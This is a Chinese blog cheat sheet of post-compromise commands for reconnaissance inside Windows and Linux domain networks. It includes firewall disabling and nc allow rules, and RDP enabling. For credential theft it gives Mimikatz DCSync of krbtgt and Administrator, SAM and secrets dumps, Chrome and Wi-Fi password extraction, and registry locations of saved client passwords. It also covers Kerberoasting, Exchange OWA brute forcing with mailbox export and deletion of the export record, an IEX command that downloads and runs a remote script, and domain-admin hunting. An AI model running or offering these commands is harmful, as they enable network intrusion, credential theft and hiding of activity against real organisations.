内网信息收集命令速查

一  收集本机信息

 

1.1 手动收集信息

 

  • 查询网络配置信息

 

ipconfig /all
ifconfig
  • 查询操作系统及软件的信息

  查询操作系统和版本信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 版本" /C:"OS 名称"

Linux查看当前操作系统版本信息  cat /proc/version
查看版本当前操作系统内核信息 uname -a
查看版本当前操作系统发行信息 cat /etc/issue 或 cat /etc/centos-release

  查看安装的软件及版本、路径等

wmic product get name,version

dpkg -l
rpm -qa

  查询本机服务信息

wmic service list brief

    查询进程列表

tasklist
wmic process list brief

top

   查看启动程序信息

wmic startup get command,caption

ps -A

  查看计划任务

schtasks /query /fo LIST /v

crontab -l 

  查询用户列表

net user 
net localgroup administrators
query user || qwinsta ##在线用户查询

cat /etc/passwd

  列出或断开本地计算机与所连接的客户端的回话

net session

  查询端口列表

netstat -ano


netstat - atulnp
#利用netstat -ano命令获取机器通信信息,根据通信的端口、ip可以获取到如下信息。如果通信信息是入流量,则可以获取到跳板机/堡垒机、管理员的PC来源IP、本地web应用端口等信息;如果通信信息是出流量,则可以获取到敏感端口(redis、mysql、mssql等)、API端口等信息。

  查看补丁列表

systeminfo
wmic qfe get caption,description,hotfixid,installedon

  查询本机共享列表

net share

  查询路由表及所有可用接口的ARP缓存表

route print
arp -a

  查询防火墙相关配置

netsh firewall set opmode disable   #winserver2003及之前版本 关闭防火墙
netsh advfirewall set allprofiles state off   #winserver2003之后版本 关闭防火墙
netsh firewall show config #查看防火墙配置
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable  #Windows Server 2003 系统及之前版本,允许指定程序全部连接

netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe"  #Windows Server 2003 之后系统版本允许指定程序连入
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"  # 允许指定程序连出
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow #允许 3389 端口放行
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log" #自定义防火墙日志储存位置

  查看计算机代理配置情况

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

  查询并开启远程连接服务

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber    #查看远程连接端口
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1    #在 Windows Server 2003 中开启 3389 端口
wmic
/namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1 reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
#在 Windows Server 2008 和 Windows Server 2012 中开启 3389 端口

1.2 自动收集信息

  利用WMIC脚本收集信息

  

http://www.fuzzysecurity.com/scripts/files/wmic_info.rar

1.3 Empire下的主机信息收集

  

 usemodule situational_awareness/host/winenum  # 查看本机用户、域组成员、最后的密码设置时间、剪贴板内容、系统基本信息、网络适配器信息、共享信息
situational_awareness/host/computerdetails     #目标主机事件日志、应用程序控制策略日志,包括 RDP 登录信息、PowerShell 脚本运行和保存的信息等,需要管理员权限。

 

1.4 SPN

SPN:服务主体名称。使用Kerberos须为服务器注册SPN,因此可以在内网中扫描SPN,
快速寻找内网中注册的服务,SPN扫描可以规避像端口扫描的不确定性探测动作。
主要利用工具有:setspn、GetUserSPNs.vbs和Rubeus。
  1. 利用Windows自带的setspn工具,普通域用户权限执行即可:
    setspn -T domain.com -Q */*  #domain为域名

     

  2. 利用GetUserSPNs.vbs也可以获取spn结果:
    cscript GetUserSPNs.vbs

     

  3. Rubeus工具是Harmj0y开发用于测试Kerberos的利用工具。
    Rubeus.exe kerberoast

     

1.5 配置文件

一个正常的Web应用肯定有对应的数据库账号密码信息,可以使用如下命令寻找包含密码字段的文件:

cd /web

findstr  /s /m "password" *.*
下面是常用应用的默认配置路径:

Tomcat:
CATALINA_HOME/conf/tomcat-users.xml

Apache:
/etc/httpd/conf/httpd.conf

Nginx:
/etc/nginx/nginx.conf

Wdcp:
/www/wdlinux/wdcp/conf/mrpw.conf

Mysql:
mysql\data\mysql\user.MYD

 

 

 

1.6 凭据收集

 

  •  navicat:

    MySQL
    
    HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\<your  connection name>
    
    MariaDB
    
    HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\<your  connection name>
    
    MongoDB
    
    HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\<your  connection name>
    
    Microsoft  SQL
    
    HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\<your  connection name>
    
    Oracle
    
    HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\<your  connection name>
    
    PostgreSQL
    
    HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\<your  connection name>
    
    SQLite
    
    HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\<your  connection name>
  • SecureCRT:

    xp/win2003
    
    C:\Documents   and Settings\USERNAME\Application Data\VanDyke\Config\Sessions
    
     
    
    win7/win2008以上
    
    C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions
  • Xshell
    Xshell 5
    
    %userprofile%\Documents\NetSarang\Xshell\Sessions
    
    Xshell 6
    
    %userprofile%\Documents\NetSarang  Computer\6\Xshell\Sessions
  • 其他
    WinSCP:
    
    HKCU\Software\Martin  Prikryl\WinSCP 2\Sessions
    
    VNC:
    
    RealVNC
    
    HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver
    
    Password
    
    TightVNC
    
    HKEY_CURRENT_USER\Software\TightVNC\Server  Value
    
    Password  or PasswordViewOnly
    
    TigerVNC
    
    HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4
    
    Password
    
     
    
    UltraVNC
    
    C:\Program  Files\UltraVNC\ultravnc.ini
    
    passwd or  passwd2
    
    提取 KRBTGT用户帐户的密码数据:
    
    Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt"exit
    
    管理员用户帐户提取密码数据:
    
    
    Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit
    
    发现远程登录密码等密码 netpass.exe
    
    https://www.nirsoft.net/utils/network_password_recovery.html
    
    获取window vpn密码:
    
    mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit
    wifi密码: netsh wlan show profile 查处wifi名下一条命令用 netsh wlan show profile WiFi
    -name key=clear
    通过如下命令获取连接过的wifi密码:
    for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear ie代理 reg query
    "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v ProxyServer reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings" pac代理 reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v AutoConfigURL

    浏览器

    解密Chrome密码:mimikatz  dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login  Data" /unprotect
    解密Credential:mimikatz  vault::cred /patch

1.7 Exchange


1
. 邮箱用户密码爆破


使用ruler工具对owa接口进行爆破:

./ruler  --domain targetdomain.com brute --users /path/to/user.txt --passwords  /path/to/passwords.txt
ruler工具会自动搜索owa可以爆破的接口,如:

https://autodiscover.targetdomain.com/autodiscover/autodiscover.xml

其他如ews接口也存在被暴力破解利用的风险:

https://mail.targetdomain.com/ews
2. 通讯录收集
在获取一个邮箱账号密码后,可以使用MailSniper收集通讯录,当拿到通讯录后,可以再次利用上述爆破手段继续尝试弱密码,但是记住,密码次数不要太多,很有可能会造成域用户锁定:
Get-GlobalAddressList  -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016  -OutFile global-address-list.txt

3. 信息收集
当我们拿下exchange服务器后,可以做一些信息收集,包括不限于用户、邮件。

获取所有邮箱用户:

Get-Mailbox

导出邮件:

New-MailboxexportRequest  -mailbox username -FilePath ("\\localhost\c$\test\username.pst")

也可以通过web口导出,登录:

https://mail.domain.com/ecp/

导出后会有记录,用如下命令可以查看:

Get-MailboxExportRequest

删除某个导出记录:

Remove-MailboxExportRequest  -Identity 'username\mailboxexport' -Confirm:$false

 

 

 

二 查询当前权限

 

2.1 查看当前权限

woami 

2.2 获取域UID

whoami /all

2.3 查询指定账户的详细信息

net user ca1m /domain 

2.4 判断是否有域

ipconfig /all #查看网关 IP 地址、DNS 的 IP 地址、本地地址是否和 DNS 服务器为同一网段、域名
nslookup 域名#通过反向解析查询命令 nslookup 来解析域名的 IP 地址。使用解析出来的 IP 地址进行对比,判断域控制器和 DNS 服务器是否在同一台服务器上
systeminfo  #域显示不为workgroup 说明有域
net config workstation #工作站域 DNS 名称显示域名(如果显示为 WORKGROUP,则表示非域环境)。登录域表明当前用户是域用户登录还是本地用户登录。
net time /domain  #判断主域。存在域,但是当前用户不是域用户,提示拒绝访问;存在域,是域用户,提示成功完成;不存在域,提示找不到域控制器。

2.5 探测域内存活主机

net view  #查看共享资料
arp -a #查看arp表
cat /etc/hosts #查看hosts文件-linux
type  c:\Windows\system32\drivers\etc\hosts #查看hosts文件-windows
利用工具:

nbt.exe 192.168.1.1/24 #需要上传nbt.exe到服务器上面
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL=" #利用ICMP协议快速探测内网
arp.exe –t
192.168.1.0/20 #arp-scan工具,需要上传arp.exe
usemodule situational_awareness
/network/arpscan set range 192.168.1.1-192.168.1.254 execute #使用Empire 中的 arpsan 模块
powershell.exe
-exec bypass -Command "& {Import-Module C:\windows\temp\InvokeARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/24}" >> C:\windows\temp\log.txt #使用 Nishang 中的 Invoke-ARPScan.ps1 脚本,可以将脚本上传到目标主机执行,也可以直接 远程加载执行

scanline -h -t 22,80- 89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O c:\windows\temp\log.txt -p 192.168.1.1-254 /b #使用ScanLine对常规 TCP/UDP 端口扫描探测内网


 

2.6 扫描域内端口

telnet 主机名 端口号 #使用telnet命令
S.exe TCP 192.168.1.1 192.168.1.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111 256 /Banner /save #S扫描器
search portscan  #msf端口扫描 
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMaf ia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\res.txt" #PowerSploit 中的 Invoke-Portscan.ps1 脚本
Invoke-PortScan -StartAddress 192.168.250.1 -EndAddress 192.168.250.255 - ResolveHost #使用Nishang下的Invoke-PortScan 模块

 

2.7 收集域内基础信息

 

net view /domain     #查询域
net view /domain:XXX #查询此域内所有计算机
net group /domain #查询域内所有用户组列表
net group "domain computers" /domain #查询所有域成员计算机列表
net accounts /domain #获取域密码信息
nltest /domain_trusts #获取域信任信息

2.8 查找域控制器

nltest /DCLIST:XXX   #查看域内控制器的机器名
nslookup -type=SRV _ldap._tcp #查看域控制器的主机名
net time /domain #查看当前时间
net group "Domain Controllers" /domain #查看域控制器
netdom query pdc #查看域控制器

2.9 获取域内的用户和管理员信息

  • 查询所有域用户列表

net user /domain   #向域控制器进行查询
wmic useraccount get /all #获取域内用户详细信息
dsquery user #查看存在的用户
net localgroup administrators /domain #查询域内置本地管理员组用户
  •  查询域管理员用户组

    net group "domain admins" /domain  #查询域管理员用户
    net group "Enterprise Admins" /domain  #查询管理员用户组

     

 

2.10 定位域管理员

  • 常用域管理员定位工具

    psloggedon.exe 下载:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
    命令:psloggedon [-] [-l] [-x] [\\computername|username]
    
    pveFindADUser.exe 下载:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn
    命令:pveFindADUser.exe <参数>
    eg: pveadfinduser.exe -current
    
    netview.exe  下载:https://github.com/mubix/netview
    命令:netview.exe <参数>
    
    Nmap 的 smb-enum-sessions.nse引擎   
    下载:
    https://nmap.org/nsedoc/scripts/smb-enum-sessions.html
    
    PowerView脚本
    下载:https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
    Invoke-StealthUserHunter
    Invoke-UserHunter
    
    Empire 下的 user_hunter 模块
    usemodule situational_awareness/network/powerview/user_hunter 

     

2.11 查找域管理进程

 

  • 本机检查

    net group "Domain Admins" /domain   #获取域管理员列表
    tasklist /v   #列出本机所有进程及进程用户

     

  • 查询域控制器的域用户会话

    net group "Domain Controllers" /domain   #查询域控制器列表
    net group "Domain Admins" /domain #收集域管理员列表
    netsess.exe –h #收集所有活动域会话列表
    FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
    #将域控制器列表添加到 dcs.txt 中,将域管理员列表添加到 admins.txt 中,并和 netsess.exe 放 在同一个目录下。运行如下脚本后,会在当前目录下生成一个 sessions.txt 文本文件

     

  • 扫描远程系统上运行的任务

    net group "Domain Admins" /domain   #首先从“域管理员”组中收集域管理员的列表
    然后使用下列脚本,其中 ips.txt 填入目标域系统的列表,在 names.txt 填入收集来的域管理员的列表:
    FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause

     

  • 扫描远程系统上 NetBIOS 信息

    先收集域管理员列表,然后将目标域系统列表添加到 ips.txt 文件中,
    将收集到的域管理员列表添加到 admins.txt 文件中,并置于同一目录下。
    for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i 也可以使用 nbtscan 工具。先收集域管理员列表,然后将目标域系统列表添加到ips.txt 文件中,
    将收集到的域管理员列表添加到 admins.txt 文件中,和 nbtscan 工具置于同一目录下
    for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

     

 

2.12 利用 PowerShell 收集域信息

   

PowerView 是一款依赖 PowerShell 和 WMI 对内网域情况进行查询的常用渗透脚本。
PowerView 集成在 PowerSploit 工具包中,下载地址为 https://raw.githubusercontent.com/
PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1。
PowerView 中的常用命令如下。
 Get-NetDomain:获取当前用户所在的域名称。
 Get-NetUser:返回所有用户的详细信息。
 Get-NetDomainController:获取所有域控制器。
 Get-NetComputer:获取所有域内机器的详细信息。
 Get-NetOU:获取域中的 OU 信息。
 Get-NetGroup:获取所有域内组和组成员信息。
 Get-NetFileServer:根据 SPN 获取当前域使用的文件服务器。
 Get-NetShare:获取当前域内所有网络共享。
 Get-NetSession:获取在指定服务器存在的会话信息。
 Get-NetRDPSession:获取在指定服务器存在的远程连接信息。
 Get-NetProcess:获取远程主机的进程信息。
 Get-UserEvent:获取指定用户的日志信息。
 Get-ADObject:获取活动目录的对象信息。
 Get-NetGPO:获取域所有组策略对象。
 Get-DomainPolicy:获取域默认或域控制器策略。
 Invoke-UserHunter:用于获取域用户登录计算机及该用户是否有本地管理权限。
 Invoke-ProcessHunter:查找域内所有机器进程用于找到某特定用户。
 Invoke-UserEventHunter:根据用户日志获取某域用户登录过哪些域机器。

 

  

2.13 域渗透分析工具 BloodHound

 

安装准备一台安装有 Windows Server 操作系统的机器:
在 Neo4j 官方网站的社区服务版模块中选择“Windows”选项,并下载最新的 Neo4j 数据库安装包。Neo4j 数据库需要 Java 环境才能运行。下载完成并解压,打开 cmd 窗口,进入解压后的 bin 目录。在 cmd 下输入命令“neo4j.bat console”,启动 Neo4j 服务,看到服务成功启动的提示后,打开浏览器,输入地址“http://127.0.0.1:7474/browser/”。打开页
面后,输入账号和密码,Neo4j 默认的配置信息如下。
 Host:http://127.0.0.1:7474。
 User:neo4j。
 Password:neo4j。
在 GitHub 的 BloodHound 项目中提供了其 Release 版本,下载地址为 https://github.com/
BloodHoundAD/BloodHound/releases/download/2.0.4/BloodHound-win32-x64.zip。
 Database URL:bolt://localhost:7687。
 DB Username:neo4j。
 DB Password:123456
posted @ 2020-11-26 10:37  Ca1m  阅读(578)  评论(0编辑  收藏  举报